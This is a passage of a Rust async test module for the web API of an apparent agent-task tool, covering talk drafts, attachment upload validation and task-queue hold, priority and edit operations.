6053        for attempt in 0..3u32 {
6054            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6055            let id = talk.id.clone();
6056            // A turn is already running, which is what sends `talk_say` down
6057            // the busy branch.
6058            let turn_guard = ui
6059                .begin_talk_turn(&id)
6060                .expect("claim the turn")
6061                .expect("a fresh talk owes nobody a turn");
6062
6063            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6064            let (release_tx, release_rx) = std::sync::mpsc::channel();
6065            ui.set_busy_queue_gate(BusyQueueGate {
6066                reached: reached_tx,
6067                release: release_rx,
6068            });
6069
6070            let handler = tokio::spawn(talk_say(
6071                State(Arc::clone(&ui)),
6072                Path(id.clone()),
6073                Ok(Json(NewTalkTurn {
6074                    text: "what does the queue module do?".to_owned(),
6075                    attachments: Vec::new(),
6076                })),
6077            ));
6078
6079            // Wait for the busy branch to actually reach the gate, rather
6080            // than for any fixed number of polls of anything - a bounded
6081            // wait rather than a bare `.await` so a regression that never
6082            // reaches the gate fails the test instead of hanging it.
6083            tokio::time::timeout(Duration::from_secs(5), reached_rx)
6084                .await
6085                .unwrap_or_else(|_| {
6086                    panic!(
6087                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6088                    )
6089                })
6090                .expect("the busy branch dropped the gate without using it");
6091
6092            // The turn that was running now finishes and gives the slot up
6093            // the way a real one does - through `drain_loop`, which finds
6094            // nothing queued yet (the write is still held at the gate) and
6095            // releases. The handler, parked inside `spawn_blocking` on the
6096            // other side of the gate, still believes the talk is busy -
6097            // exactly the interleaving the reclaim exists for.
6098            let running = talks.get(&id).expect("reload talk");
6099            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6100
6101            // Drop the handler future now, the way a reloading phone drops
6102            // it: suspended waiting on the busy branch's answer, having
6103            // itself made no more progress since it handed the write off.
6104            handler.abort();
6105            let _ = handler.await;
6106
6107            // Only now let the gated write proceed. It persists the draft
6108            // and reclaims the now-free slot from inside the task the busy
6109            // branch already spawned - unaffected by the handler's abort
6110            // above, since that task was independent of the handler's own
6111            // future from the moment it was spawned.
6112            let _ = release_tx.send(());
6113
6114            // A settled talk: the draft drained into an operator turn and
6115            // answered.
6116            let mut fresh = talks.get(&id).expect("reload talk");
6117            for _ in 0..SETTLE_STEPS {
6118                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6119                    break;
6120                }
6121                tokio::time::sleep(Duration::from_millis(10)).await;
6122                fresh = talks.get(&id).expect("reload talk");
6123            }
6124            assert!(
6125                fresh.pending.is_empty() && fresh.turns.len() == 2,
6126                "attempt {attempt}: talk {id} left the operator's text queued \
6127                 with no drainer - the reclaimed turn was dropped along with \
6128                 the handler future (pending {:?}, {} turns)",
6129                fresh.pending,
6130                fresh.turns.len()
6131            );
6132        }
6133    }
6134
6135    #[tokio::test]
6136    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6137        let (_tmp, _repo, f) = talk_fixture().await;
6138        let id = f.post("/api/talks", None).await.json()["id"]
6139            .as_str()
6140            .expect("id")
6141            .to_owned();
6142        let store = f.talks();
6143        let mut recovered = store.get(&id).expect("opened talk");
6144        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6145            .expect("persist pending draft without a live turn");
6146
6147        let edited = f
6148            .post(
6149                &format!("/api/talks/{id}/pending/edit"),
6150                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6151            )
6152            .await;
6153        assert_eq!(edited.status, 200, "{}", edited.body);
6154        assert!(edited.json()["thinking"].as_bool().unwrap());
6155
6156        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6157        for _ in 0..SETTLE_STEPS {
6158            if detail["turns"].as_array().expect("turns").len() == 2 {
6159                break;
6160            }
6161            tokio::time::sleep(Duration::from_millis(10)).await;
6162            detail = f.get(&format!("/api/talks/{id}")).await.json();
6163        }
6164        let turns = detail["turns"].as_array().expect("turns");
6165        assert_eq!(
6166            turns.len(),
6167            2,
6168            "the recovered draft must run once: {detail}"
6169        );
6170        assert_eq!(turns[0]["body"], "corrected");
6171        assert_eq!(detail["pending"], "");
6172    }
6173
6174    #[tokio::test]
6175    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6176        let tmp = TempDir::new().expect("tempdir");
6177        let repo = tmp.path().join("repo");
6178        std::fs::create_dir_all(&repo).expect("repo dir");
6179        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6180        let f = Fixture::with_repo(repo).await;
6181        let id = f.post("/api/talks", None).await.json()["id"]
6182            .as_str()
6183            .expect("id")
6184            .to_owned();
6185        let store = f.talks();
6186        let mut recovered = store.get(&id).expect("opened talk");
6187        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6188            .expect("persist pending draft without a live turn");
6189
6190        let refused = f
6191            .post(
6192                &format!("/api/talks/{id}/say"),
6193                Some(r#"{"text":"new message"}"#),
6194            )
6195            .await;
6196        assert_eq!(refused.status, 409, "{}", refused.body);
6197        assert!(refused.body.contains("resume"), "{}", refused.body);
6198        let saved = store.get(&id).expect("draft remains after refusal");
6199        assert!(saved.turns.is_empty());
6200        assert_eq!(saved.pending, "saved before restart");
6201
6202        let say_path = format!("/api/talks/{id}/say");
6203        let (first, second) = tokio::join!(
6204            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6205            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6206        );
6207        assert_eq!(first.status, 409, "{}", first.body);
6208        assert_eq!(second.status, 409, "{}", second.body);
6209        let saved = store
6210            .get(&id)
6211            .expect("draft remains after concurrent refusals");
6212        assert!(saved.turns.is_empty());
6213        assert_eq!(saved.pending, "saved before restart");
6214
6215        let resumed = f
6216            .post(&format!("/api/talks/{id}/pending/resume"), None)
6217            .await;
6218        assert_eq!(resumed.status, 202, "{}", resumed.body);
6219        let duplicate = f
6220            .post(&format!("/api/talks/{id}/pending/resume"), None)
6221            .await;
6222        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6223
6224        for _ in 0..SETTLE_STEPS {
6225            if store.get(&id).expect("talk").turns.len() == 2 {
6226                break;
6227            }
6228            tokio::time::sleep(Duration::from_millis(10)).await;
6229        }
6230        let finished = store.get(&id).expect("finished talk");
6231        assert_eq!(finished.turns.len(), 2, "{finished:?}");
6232        assert_eq!(finished.turns[0].body, "saved before restart");
6233        assert!(finished.pending.is_empty());
6234    }
6235
6236    #[tokio::test]
6237    async fn an_image_only_recovered_draft_resumes_without_text() {
6238        let (_tmp, _repo, f) = talk_fixture().await;
6239        let id = f.post("/api/talks", None).await.json()["id"]
6240            .as_str()
6241            .expect("id")
6242            .to_owned();
6243        let uploaded = f
6244            .post_bytes(
6245                &format!("/api/talks/{id}/attachments"),
6246                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6247                PNG_BYTES,
6248            )
6249            .await;
6250        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6251        let attachment = f
6252            .talks()
6253            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6254            .expect("attachment metadata")
6255            .expect("stored attachment");
6256        let store = f.talks();
6257        let mut recovered = store.get(&id).expect("opened talk");
6258        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6259
6260        let resumed = f
6261            .post(&format!("/api/talks/{id}/pending/resume"), None)
6262            .await;
6263        assert_eq!(resumed.status, 202, "{}", resumed.body);
6264        for _ in 0..SETTLE_STEPS {
6265            if store.get(&id).expect("talk").turns.len() == 2 {
6266                break;
6267            }
6268            tokio::time::sleep(Duration::from_millis(10)).await;
6269        }
6270        let finished = store.get(&id).expect("finished talk");
6271        assert_eq!(finished.turns.len(), 2, "{finished:?}");
6272        assert!(finished.turns[0].body.is_empty());
6273        assert_eq!(finished.turns[0].attachments.len(), 1);
6274        assert!(finished.pending_attachments.is_empty());
6275    }
6276
6277    #[tokio::test]
6278    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6279        let (_tmp, _repo, f) = talk_fixture().await;
6280        let id = f.post("/api/talks", None).await.json()["id"]
6281            .as_str()
6282            .expect("id")
6283            .to_owned();
6284        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6285        assert_eq!(closed.status, 200, "{}", closed.body);
6286        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6287            .expect("serialize closed talk");
6288        for (path, body) in [
6289            (format!("/api/talks/{id}/pending/resume"), None),
6290            (
6291                format!("/api/talks/{id}/pending/clear"),
6292                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6293            ),
6294            (
6295                format!("/api/talks/{id}/pending/edit"),
6296                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6297            ),
6298            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6299        ] {
6300            let response = f.post(&path, body).await;
6301            assert_eq!(response.status, 409, "{}", response.body);
6302        }
6303        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6304            .expect("serialize closed talk");
6305        assert_eq!(
6306            after_clear, before_clear,
6307            "clear must not rewrite a closed talk"
6308        );
6309    }
6310
6311    /// Keeps both claims observable long enough to exercise the distinction
6312    /// between one busy talk and a globally locked Chat surface.
6313    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6314
6315    #[tokio::test]
6316    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6317        let tmp = TempDir::new().expect("tempdir");
6318        let repo = tmp.path().join("repo");
6319        std::fs::create_dir_all(&repo).expect("repo dir");
6320        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6321        let f = Fixture::with_repo(repo).await;
6322        let id_a = f.post("/api/talks", None).await.json()["id"]
6323            .as_str()
6324            .unwrap()
6325            .to_owned();
6326        let id_b = f.post("/api/talks", None).await.json()["id"]
6327            .as_str()
6328            .unwrap()
6329            .to_owned();
6330
6331        let a = f
6332            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6333            .await;
6334        assert_eq!(a.status, 202, "{}", a.body);
6335        assert_eq!(a.json()["thinking"], true);
6336        let b = f
6337            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6338            .await;
6339        assert_eq!(b.status, 202, "{}", b.body);
6340        assert_eq!(b.json()["thinking"], true);
6341
6342        let listed = f.get("/api/talks").await.json();
6343        for id in [&id_a, &id_b] {
6344            let view = listed
6345                .as_array()
6346                .unwrap()
6347                .iter()
6348                .find(|talk| talk["id"] == *id)
6349                .unwrap();
6350            assert_eq!(view["thinking"], true, "{listed}");
6351        }
6352        let repeated = f
6353            .post(
6354                &format!("/api/talks/{id_a}/say"),
6355                Some(r#"{"text":"again"}"#),
6356            )
6357            .await;
6358        assert_eq!(repeated.status, 202, "{}", repeated.body);
6359        assert_eq!(repeated.json()["pending"], "again");
6360    }
6361
6362    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
6363    /// few more, since real uploads are never exactly eight bytes.
6364    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6365
6366    #[tokio::test]
6367    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6368        let f = Fixture::start().await;
6369        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6370
6371        let res = f
6372            .post_bytes(
6373                &format!("/api/talks/{id}/attachments"),
6374                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6375                PNG_BYTES,
6376            )
6377            .await;
6378        assert_eq!(res.status, 201, "{}", res.body);
6379        let body = res.json();
6380        assert_eq!(body["name"], "shot.png");
6381        assert_eq!(body["mime"], "image/png");
6382        assert_eq!(body["bytes"], PNG_BYTES.len());
6383        let att_id = body["id"].as_str().expect("id").to_owned();
6384        assert_eq!(
6385            att_id.len(),
6386            32,
6387            "the id must never be a client-suppliable path: {att_id}"
6388        );
6389
6390        let got = f
6391            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6392            .await;
6393        assert_eq!(got.status, 200, "{}", got.body);
6394        assert_eq!(got.header("content-type"), Some("image/png"));
6395        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6396        assert_eq!(got.bytes, PNG_BYTES);
6397    }
6398
6399    #[tokio::test]
6400    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6401        let f = Fixture::start().await;
6402        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6403
6404        // SVG can carry a `<script>`, so it is never on the whitelist even
6405        // though it is a real IANA image type.
6406        let svg = f
6407            .post_bytes(
6408                &format!("/api/talks/{id}/attachments"),
6409                &[("Content-Type", "image/svg+xml")],
6410                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6411            )
6412            .await;
6413        assert!(
6414            (400..500).contains(&svg.status),
6415            "svg must be refused: {} {}",
6416            svg.status,
6417            svg.body
6418        );
6419        assert!(svg.body.contains("SVG"), "{}", svg.body);
6420
6421        let text = f
6422            .post_bytes(
6423                &format!("/api/talks/{id}/attachments"),
6424                &[("Content-Type", "text/plain")],
6425                b"just some text",
6426            )
6427            .await;
6428        assert!(
6429            (400..500).contains(&text.status),
6430            "an unlisted type must be refused: {} {}",
6431            text.status,
6432            text.body
6433        );
6434
6435        // The declared type is a real png, but the size check runs before
6436        // the bytes are even looked at.
6437        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6438        let big = f
6439            .post_bytes(
6440                &format!("/api/talks/{id}/attachments"),
6441                &[("Content-Type", "image/png")],
6442                &oversized,
6443            )
6444            .await;
6445        assert_eq!(
6446            big.status,
6447            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6448            "{}",
6449            big.body
6450        );
6451    }
6452
6453    #[tokio::test]
6454    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6455        let f = Fixture::start().await;
6456        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6457
6458        // A whitelisted `Content-Type`, but bytes that are not actually a
6459        // png - the declared header alone is never trusted.
6460        let res = f
6461            .post_bytes(
6462                &format!("/api/talks/{id}/attachments"),
6463                &[("Content-Type", "image/png")],
6464                b"<html>not a picture</html>",
6465            )
6466            .await;
6467        assert!((400..500).contains(&res.status), "{}", res.body);
6468    }
6469
6470    #[tokio::test]
6471    async fn an_unknown_attachment_id_is_a_404() {
6472        let f = Fixture::start().await;
6473        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6474
6475        let res = f
6476            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6477            .await;
6478        assert_eq!(res.status, 404, "{}", res.body);
6479    }
6480
6481    #[tokio::test]
6482    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6483        let f = Fixture::start().await;
6484        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6485
6486        let uploaded = f
6487            .post_bytes(
6488                &format!("/api/talks/{id}/attachments"),
6489                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6490                PNG_BYTES,
6491            )
6492            .await;
6493        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6494        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6495
6496        let res = f
6497            .post(
6498                &format!("/api/talks/{id}/say"),
6499                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6500            )
6501            .await;
6502        assert_eq!(res.status, 202, "{}", res.body);
6503        let queued = res.json();
6504        let turns = queued["turns"].as_array().expect("turns array");
6505        assert_eq!(
6506            turns.len(),
6507            1,
6508            "an empty body with an attachment is still a turn: {queued}"
6509        );
6510        assert_eq!(turns[0]["who"], "operator");
6511        assert_eq!(turns[0]["body"], "");
6512        let atts = turns[0]["attachments"]
6513            .as_array()
6514            .expect("attachments array");
6515        assert_eq!(atts.len(), 1);
6516        assert_eq!(atts[0]["id"], att_id);
6517        assert_eq!(atts[0]["mime"], "image/png");
6518
6519        // Not only in the response: `record` flushes to disk before the
6520        // agent's own turn is even spawned.
6521        let on_disk = f.talks().get(&id).expect("get");
6522        assert_eq!(on_disk.turns[0].attachments.len(), 1);
6523        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6524    }
6525
6526    #[tokio::test]
6527    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6528        let f = Fixture::start().await;
6529        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6530
6531        let res = f
6532            .post(
6533                &format!("/api/talks/{id}/say"),
6534                Some(&format!(
6535                    r#"{{"text":"hi","attachments":["{}"]}}"#,
6536                    "a".repeat(32)
6537                )),
6538            )
6539            .await;
6540        assert!((400..500).contains(&res.status), "{}", res.body);
6541        assert!(res.body.contains("unknown attachment"), "{}", res.body);
6542
6543        let on_disk = f.talks().get(&id).expect("get");
6544        assert!(
6545            on_disk.turns.is_empty(),
6546            "a rejected attachment id must not partially record the turn: {:?}",
6547            on_disk.turns
6548        );
6549    }
6550
6551    #[tokio::test]
6552    async fn talk_close_makes_the_talk_refuse_further_turns() {
6553        let f = Fixture::start().await;
6554        let id = seed_talk(&f, "20260904-014455-cd34", "open");
6555
6556        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6557        assert_eq!(closed.status, 200, "{}", closed.body);
6558        assert_eq!(closed.json()["status"], "closed");
6559
6560        // Idempotent: closing an already-closed talk is not an error.
6561        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6562        assert_eq!(closed_again.status, 200);
6563        assert_eq!(closed_again.json()["status"], "closed");
6564
6565        let said = f
6566            .post(
6567                &format!("/api/talks/{id}/say"),
6568                Some(r#"{"text":"too late"}"#),
6569            )
6570            .await;
6571        assert_eq!(said.status, 409, "{}", said.body);
6572    }
6573
6574    #[tokio::test]
6575    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6576        let (_tmp, _repo, f) = talk_fixture().await;
6577        let id = f.post("/api/talks", None).await.json()["id"]
6578            .as_str()
6579            .expect("id")
6580            .to_owned();
6581        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6582        assert_eq!(closed.status, 200, "{}", closed.body);
6583
6584        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6585        assert_eq!(reopened.status, 200, "{}", reopened.body);
6586        assert_eq!(reopened.json()["status"], "open");
6587
6588        // Idempotent: reopening an already-open talk is not an error.
6589        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6590        assert_eq!(reopened_again.status, 200);
6591        assert_eq!(reopened_again.json()["status"], "open");
6592
6593        let said = f
6594            .post(
6595                &format!("/api/talks/{id}/say"),
6596                Some(r#"{"text":"still there?"}"#),
6597            )
6598            .await;
6599        assert_eq!(
6600            said.status, 202,
6601            "a reopened talk accepts turns again: {}",
6602            said.body
6603        );
6604    }
6605
6606    #[tokio::test]
6607    async fn talk_reopen_on_an_unknown_id_is_404() {
6608        let f = Fixture::start().await;
6609        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6610        assert_eq!(res.status, 404, "{}", res.body);
6611    }
6612
6613    #[tokio::test]
6614    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6615        let f = Fixture::start().await;
6616        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6617
6618        let deleted = f.delete(&format!("/api/talks/{id}")).await;
6619        assert_eq!(deleted.status, 204, "{}", deleted.body);
6620
6621        let after = f.get(&format!("/api/talks/{id}")).await;
6622        assert_eq!(after.status, 404, "{}", after.body);
6623
6624        let listed = f.get("/api/talks").await.json();
6625        assert!(
6626            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6627            "a deleted talk must not linger in the list: {listed}"
6628        );
6629    }
6630
6631    #[tokio::test]
6632    async fn talk_delete_on_an_unknown_id_is_404() {
6633        let f = Fixture::start().await;
6634        let res = f.delete("/api/talks/nonexistent-id").await;
6635        assert_eq!(res.status, 404, "{}", res.body);
6636    }
6637
6638    #[tokio::test]
6639    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6640        let f = Fixture::start().await;
6641        let queue = f.queue();
6642        let mut task = Task::new(
6643            "spent".to_owned(),
6644            "Try again".to_owned(),
6645            PathBuf::from("/repo/magi"),
6646            Source::Human,
6647        );
6648        task.start("20260902-140502-bbbb".to_owned());
6649        task.fail("agent gave up", 9);
6650        queue.put(&mut task).expect("file the task");
6651
6652        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6653        assert_eq!(held.status, 200);
6654        assert_eq!(held.json()["status_str"], "held");
6655
6656        let released = f
6657            .post(&format!("/api/queue/{}/release", task.id), None)
6658            .await;
6659        assert_eq!(released.status, 200);
6660        assert_eq!(released.json()["status_str"], "queued");
6661        assert_eq!(
6662            released.json()["attempts"],
6663            0,
6664            "release is a real second chance, not an instant re-hold"
6665        );
6666        assert_eq!(
6667            queue.get(&task.id).expect("reload").status,
6668            TaskStatus::Queued,
6669            "the change is on disk, not only in the reply"
6670        );
6671        assert!(
6672            !f.home
6673                .path()
6674                .join("queue")
6675                .join(format!("{}.lock", task.id))
6676                .exists(),
6677            "the claim the mutation took is released again"
6678        );
6679    }
6680
6681    #[tokio::test]
6682    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6683        let f = Fixture::start().await;
6684        let queue = f.queue();
6685        let mut task = Task::new(
6686            "busy".to_owned(),
6687            "Running right now".to_owned(),
6688            PathBuf::from("/repo/magi"),
6689            Source::Human,
6690        );
6691        queue.put(&mut task).expect("file the task");
6692        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6693
6694        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6695
6696        assert_eq!(res.status, 409);
6697        assert_eq!(
6698            queue.get(&task.id).expect("reload").status,
6699            TaskStatus::Queued,
6700            "the refused hold changed nothing"
6701        );
6702    }
6703
6704    #[tokio::test]
6705    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6706        let f = Fixture::start().await;
6707        let queue = f.queue();
6708        let mut task = Task::new(
6709            "waiting on the migration".to_owned(),
6710            "Do the thing".to_owned(),
6711            PathBuf::from("/repo/magi"),
6712            Source::Human,
6713        );
6714        queue.put(&mut task).expect("file the task");
6715
6716        let held = f
6717            .post(
6718                &format!("/api/queue/{}/hold", task.id),
6719                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6720            )
6721            .await;
6722        assert_eq!(held.status, 200, "{}", held.body);
6723        assert_eq!(held.json()["status_str"], "held");
6724        assert_eq!(
6725            held.json()["hold_reason"],
6726            "waiting for 20260101-000000-aaaa to land"
6727        );
6728
6729        let listed = f.get("/api/queue").await.json();
6730        assert_eq!(
6731            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6732            "the card reads the reason off the same list route"
6733        );
6734
6735        // A hold with no body at all must keep working - most holds have no
6736        // reason to give.
6737        let mut plain = Task::new(
6738            "no reason given".to_owned(),
6739            "Do another thing".to_owned(),
6740            PathBuf::from("/repo/magi"),
6741            Source::Human,
6742        );
6743        queue.put(&mut plain).expect("file the task");
6744        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6745        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6746        assert!(held_plain.json()["hold_reason"].is_null());
6747
6748        let released = f
6749            .post(&format!("/api/queue/{}/release", task.id), None)
6750            .await;
6751        assert_eq!(released.status, 200);
6752        assert!(
6753            released.json()["hold_reason"].is_null(),
6754            "a release must clear the reason so the next hold does not inherit it"
6755        );
6756    }
6757
6758    #[tokio::test]
6759    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6760        let f = Fixture::start().await;
6761        let queue = f.queue();
6762        let mut older = Task::new(
6763            "filed first".to_owned(),
6764            "x".to_owned(),
6765            PathBuf::from("/repo/magi"),
6766            Source::Human,
6767        );
6768        older.id = "20260101-000001-aaaa".to_owned();
6769        let mut newer = Task::new(
6770            "filed second".to_owned(),
6771            "x".to_owned(),
6772            PathBuf::from("/repo/magi"),
6773            Source::Human,
6774        );
6775        newer.id = "20260101-000002-bbbb".to_owned();
6776        queue.put(&mut older).expect("file older");
6777        queue.put(&mut newer).expect("file newer");
6778
6779        // Equal priority: the newer task leads, the same order the old
6780        // newest-first `list()` already gave every equal-priority queue.
6781        let before = f.get("/api/queue").await.json();
6782        assert_eq!(before[0]["id"], newer.id);
6783        assert_eq!(before[1]["id"], older.id);
6784
6785        // Raising the *older* task is the meaningful case: it can only lead
6786        // now because its priority says so, not because it happens to be
6787        // newest.
6788        let raised = f
6789            .post(
6790                &format!("/api/queue/{}/priority", older.id),
6791                Some(r#"{"priority":10}"#),
6792            )
6793            .await;
6794        assert_eq!(raised.status, 200, "{}", raised.body);
6795        assert_eq!(raised.json()["priority"], 10);
6796
6797        let after = f.get("/api/queue").await.json();
6798        let names: Vec<&str> = after
6799            .as_array()
6800            .unwrap()
6801            .iter()
6802            .map(|t| t["id"].as_str().unwrap())
6803            .collect();
6804        // Highest priority first, which is the order next_runnable and
6805        // `magi task list` both use - GET /api/queue must agree with it
6806        // immediately, not just once the loop claims the task.
6807        assert_eq!(names[0], older.id, "the raised task now sorts first");
6808    }
6809
6810    #[tokio::test]
6811    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6812        let f = Fixture::start().await;
6813        let queue = f.queue();
6814        let mut task = Task::new(
6815            "in flight".to_owned(),
6816            "x".to_owned(),
6817            PathBuf::from("/repo/magi"),
6818            Source::Human,
6819        );
6820        task.start("20260902-140502-bbbb".to_owned());
6821        queue.put(&mut task).expect("file the task");
6822
6823        let res = f
6824            .post(
6825                &format!("/api/queue/{}/priority", task.id),
6826                Some(r#"{"priority":9}"#),
6827            )
6828            .await;
6829        assert_eq!(res.status, 400, "{}", res.body);
6830        assert!(
6831            res.json()["error"]
6832                .as_str()
6833                .is_some_and(|e| e.contains("running")),
6834            "{}",
6835            res.body
6836        );
6837        assert_eq!(
6838            queue.get(&task.id).expect("reload").priority,
6839            0,
6840            "the refused write must not partially apply"
6841        );
6842    }
6843
6844    #[tokio::test]
6845    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6846        let f = Fixture::start().await;
6847        let queue = f.queue();
6848        let mut task = Task::new(
6849            "old title".to_owned(),
6850            "old instruction".to_owned(),
6851            PathBuf::from("/repo/magi"),
6852            Source::Agent {
6853                run: "20260101-000000-beef".to_owned(),
6854                node: "implement".to_owned(),
6855            },
6856        );
6857        task.runs.push("20260101-000000-beef".to_owned());
6858        queue.put(&mut task).expect("file the task");
6859        let created_at = task.created_at;
6860
6861        let edited = f
6862            .post(
6863                &format!("/api/queue/{}/edit", task.id),
6864                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6865            )
6866            .await;
6867        assert_eq!(edited.status, 200, "{}", edited.body);
6868        let body = edited.json();
6869        assert_eq!(body["title"], "new title");
6870        assert_eq!(body["instruction"], "new instruction");
6871        assert_eq!(body["id"], task.id, "editing must not mint a new id");
6872        assert_eq!(body["created_at"], created_at.to_string());
6873        assert_eq!(
6874            body["source"]["kind"], "agent",
6875            "editing a task an agent filed must not turn it human: {body}"
6876        );
6877        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6878
6879        let reloaded = queue.get(&task.id).expect("reload");
6880        assert_eq!(reloaded.title, "new title");
6881        assert_eq!(reloaded.instruction, "new instruction");
6882    }
6883
6884    #[tokio::test]
6885    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6886        let f = Fixture::start().await;
6887        let queue = f.queue();
6888        let mut task = Task::new(
6889            "in flight".to_owned(),
6890            "do not touch".to_owned(),
6891            PathBuf::from("/repo/magi"),
6892            Source::Human,
6893        );
6894        task.start("20260902-140502-bbbb".to_owned());
6895        queue.put(&mut task).expect("file the task");
6896
6897        let res = f
6898            .post(
6899                &format!("/api/queue/{}/edit", task.id),
6900                Some(r#"{"title":"x","instruction":"y"}"#),
6901            )
6902            .await;
6903        assert_eq!(res.status, 400, "{}", res.body);
6904        assert!(
6905            res.json()["error"]
6906                .as_str()
6907                .is_some_and(|e| e.contains("running")),
6908            "{}",
6909            res.body
6910        );
6911        assert_eq!(
6912            queue.get(&task.id).expect("reload").instruction,
6913            "do not touch",
6914            "the refused edit must not change the file"
6915        );
6916    }
6917
6918    #[tokio::test]
6919    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6920        let f = Fixture::start().await;
6921        let queue = f.queue();
6922        let mut task = Task::new(
6923            "busy".to_owned(),
6924            "Running right now".to_owned(),
6925            PathBuf::from("/repo/magi"),
6926            Source::Human,
6927        );
6928        queue.put(&mut task).expect("file the task");
6929        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6930
6931        let priority = f
6932            .post(
6933                &format!("/api/queue/{}/priority", task.id),
6934                Some(r#"{"priority":9}"#),
6935            )
6936            .await;
6937        assert_eq!(priority.status, 409, "{}", priority.body);
6938
6939        let edit = f
6940            .post(
6941                &format!("/api/queue/{}/edit", task.id),
6942                Some(r#"{"title":"x","instruction":"y"}"#),
6943            )
6944            .await;
6945        assert_eq!(edit.status, 409, "{}", edit.body);
6946    }
6947
6948    #[tokio::test]
6949    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6950        let f = Fixture::start().await;
6951        let queue = f.queue();
6952        let mut task = Task::new(
6953            "shipped by hand".to_owned(),
6954            "merged outside the loop".to_owned(),
6955            PathBuf::from("/repo/magi"),
6956            Source::Agent {
6957                run: "20260101-000000-b455".to_owned(),
6958                node: "implement".to_owned(),
6959            },
6960        );
